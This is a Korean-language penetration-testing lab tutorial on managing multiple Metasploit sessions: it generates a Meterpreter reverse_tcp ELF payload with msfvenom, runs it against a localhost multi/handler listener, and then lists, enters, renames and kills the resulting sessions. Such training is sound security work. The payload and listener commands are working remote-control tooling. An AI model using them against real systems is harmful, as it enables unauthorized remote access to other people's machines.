소개
모의 해킹 (penetration testing) 시 여러 시스템에 동시에 접근하는 경우가 흔합니다. Metasploit Framework 는 이러한 연결, 즉 "세션 (session)"을 관리하는 강력한 방법을 제공합니다. 세션은 손상된 대상과의 활성 연결로, 명령줄 쉘 (command-line shell) 또는 고급 Meterpreter 세션일 수 있습니다.
이러한 세션을 효과적으로 관리하는 것은 매우 중요한 기술입니다. 이를 통해 워크플로우를 구성하고, 대상 간을 원활하게 전환하며, 손상된 자산에 대한 제어권을 유지할 수 있습니다. 본 랩에서는 Metasploit 에서 여러 세션을 관리하기 위한 기본 명령어를 배우게 됩니다. 세션을 획득하고, 목록을 확인하고, 특정 세션과 상호 작용하고, 더 나은 구성을 위해 이름을 변경하고, 마지막으로 세션을 깔끔하게 종료하는 연습을 할 것입니다.
여러 Meterpreter 또는 쉘 세션 획득
이 단계에서는 Metasploit 에 리스너를 설정한 다음 페이로드를 실행하여 두 개의 별도 Meterpreter 세션을 생성합니다. 이는 두 개의 다른 시스템에 접근하는 것을 시뮬레이션합니다.
먼저 터미널을 열고 Metasploit Framework 콘솔을 시작합니다. -q 플래그는 배너를 표시하지 않고 조용하게 시작하도록 합니다.
msfconsole -q
다음으로, 수신 연결을 기다리기 위해 multi/handler라는 일반 리스너를 구성합니다.
use multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
이제 -j 플래그를 사용하여 리스너를 백그라운드 작업으로 실행합니다. 이렇게 하면 리스너가 백그라운드에서 실행되는 동안 msfconsole 프롬프트에서 다른 명령을 사용할 수 있습니다.
run -j
핸들러가 시작되었다는 확인 메시지가 표시됩니다.
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444
이제 이 리스너에 연결할 페이로드를 생성하고 실행해야 합니다. 터미널 창의 + 아이콘을 클릭하여 새 두 번째 터미널 탭을 엽니다.
이 새 터미널에서 msfvenom을 사용하여 페이로드를 생성합니다. 이 명령은 실행 시 리스너에 연결되는 ELF 실행 파일을 생성합니다.
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o ~/project/payload.elf
생성된 페이로드 파일에 실행 권한을 부여합니다.
chmod +x ~/project/payload.elf
이제 페이로드를 두 번 실행하여 두 개의 세션을 생성합니다. 명령을 즉시 다시 실행할 수 있도록 백그라운드 프로세스 (&) 로 실행합니다.
./payload.elf &
./payload.elf &
msfconsole이 있는 첫 번째 터미널 창으로 다시 전환합니다. 두 개의 Meterpreter 세션이 열렸다는 메시지가 표시됩니다.
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:38998) at 2023-10-27 10:30:00 -0400
[*] Meterpreter session 2 opened (127.0.0.1:4444 -> 127.0.0.1:39000) at 2023-10-27 10:30:05 -0400
이제 두 개의 활성 세션을 성공적으로 설정했습니다.
sessions 명령어로 모든 활성 세션 나열하기
이 단계에서는 설정한 모든 활성 세션을 확인하는 방법을 배웁니다. 여러 세션이 열려 있을 때, 무엇에 연결되어 있는지 확인하기 위해 세션 목록을 볼 방법이 필요합니다.
sessions 명령어가 이 목적으로 사용됩니다. msfconsole 터미널에서 단순히 sessions를 입력하면 모든 활성 세션 목록을 얻을 수 있습니다. -l 플래그는 list 의 별칭이며 동일한 기능을 수행합니다.
sessions
출력은 각 세션에 대한 정보를 포함하는 테이블 형식으로 표시됩니다.
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/linux uid=1000, gid=1000, ... 127.0.0.1:4444 -> 127.0.0.1:38998 (...)
2 meterpreter x64/linux uid=1000, gid=1000, ... 127.0.0.1:4444 -> 127.0.0.1:39000 (...)
이 테이블은 명확한 개요를 제공합니다.
- Id: 각 세션에 대한 고유 번호로, 세션과 상호 작용하는 데 사용됩니다.
- Name: 세션에 대한 사용자 지정 이름 (현재 비어 있음).
- Type: 세션 유형 (예:
meterpreter,shell). - Information: 사용자 ID 와 같은 손상된 시스템에 대한 세부 정보.
- Connection: 소스 및 대상 IP 주소 및 포트.
sessions -i 명령어로 특정 세션과 상호 작용하기
이 단계에서는 목록에서 특정 세션을 선택하고 상호 작용하는 방법을 배웁니다.
작업하려는 세션을 식별한 후에는 sessions 명령어에 -i (interact) 플래그를 사용하고 세션 ID 를 뒤에 붙여 사용할 수 있습니다.
첫 번째 세션 (ID 1) 과 상호 작용해 보겠습니다.
sessions -i 1
명령 프롬프트가 msf6 >에서 meterpreter >로 변경됩니다. 이는 현재 Meterpreter 세션 내에 있으며 Meterpreter 별 명령을 실행할 수 있음을 나타냅니다.
[*] Starting interaction with 1...
meterpreter >
세션 내에 있는지 확인하려면 sysinfo와 같은 간단한 명령을 실행하여 대상 시스템 정보를 가져옵니다.
sysinfo
다음과 유사한 출력이 표시됩니다.
Computer : labex-virtual-machine
OS : Ubuntu 22.04 (Linux 5.15.0-78-generic)
Architecture : x64
System Language: en_US
Meterpreter : x64/linux
세션 내에서의 작업이 끝나면 세션을 종료하지 않고 기본 msfconsole 프롬프트로 돌아갈 수 있습니다. 이를 위해 background 명령어를 사용합니다.
background
그러면 세션이 백그라운드로 이동하고 msf6 > 프롬프트로 돌아가 다른 세션을 관리할 수 있습니다.
[*] Backgrounding session 1...
msf6 exploit(multi/handler) >
sessions -n 명령어로 세션 이름 변경하여 관리 용이하게 하기
이 단계에서는 세션 이름을 변경하는 방법을 배웁니다. 많은 세션을 관리할 때 기본 이름은 설명적이지 않습니다. 의미 있는 레이블 (예: "WebServer", "DBServer") 로 세션 이름을 변경하면 식별하기가 훨씬 쉬워집니다.
sessions 명령어에 -n (name) 플래그를 사용하여 세션 이름을 변경할 수 있습니다. 구문은 sessions -n <NewName> <ID>입니다.
세션 2의 이름을 TestHost와 같이 더 설명적인 이름으로 변경해 보겠습니다.
sessions -n TestHost 2
Metasploit 는 세션 이름이 변경되었음을 확인합니다.
[*] Session 2's name has been changed to TestHost.
이제 세션 목록을 다시 나열하여 변경 사항을 확인합니다.
sessions
출력 테이블의 "Name" 열에 세션 2 의 새 이름이 표시됩니다.
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/linux uid=1000, gid=1000, ... 127.0.0.1:4444 -> 127.0.0.1:38998 (...)
2 TestHost meterpreter x64/linux uid=1000, gid=1000, ... 127.0.0.1:4444 -> 127.0.0.1:39000 (...)
이를 통해 대상을 추적하기가 훨씬 쉬워집니다.
sessions -k 명령어로 세션 종료하기
이 단계에서는 세션을 종료하는 방법을 배웁니다. 대상 시스템에서의 작업을 마쳤거나 더 이상 세션이 필요하지 않은 경우, 세션을 닫는 것이 좋습니다.
세션을 종료하거나 "kill"하려면 sessions 명령어에 -k (kill) 플래그를 사용하고 세션 ID 를 뒤에 붙입니다.
세션 1을 종료해 보겠습니다.
sessions -k 1
Metasploit 는 세션을 중지하고 있음을 확인합니다.
[*] Stopping session 1...
[*] 127.0.0.1 - Meterpreter session 1 closed. Reason: User exit
세션이 종료되었는지 확인하기 위해 활성 세션 목록을 다시 한번 나열합니다.
sessions
출력에는 이제 남은 세션인 TestHost만 표시됩니다.
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
2 TestHost meterpreter x64/linux uid=1000, gid=1000, ... 127.0.0.1:4444 -> 127.0.0.1:39000 (...)
이제 불필요한 세션을 성공적으로 정리했습니다.
요약
이 실습을 완료하신 것을 축하드립니다! Metasploit Framework 내에서 여러 세션을 관리하는 데 필수적인 기술을 익혔습니다.
이 실습에서는 다음을 연습했습니다.
multi/handler와 페이로드 (payload) 를 사용하여 여러 Meterpreter 세션 생성하기.sessions명령어로 모든 활성 세션 나열하기.sessions -i <ID>를 사용하여 특정 세션과 상호 작용하기.sessions -n <Name> <ID>를 사용하여 세션 이름을 변경하여 관리 용이하게 하기.sessions -k <ID>를 사용하여 세션을 깔끔하게 종료하기.
이러한 명령어를 숙달하는 것은 모든 침투 테스터에게 기본이 됩니다. 이를 통해 여러 침해된 시스템을 효율적이고 체계적으로 제어할 수 있습니다.


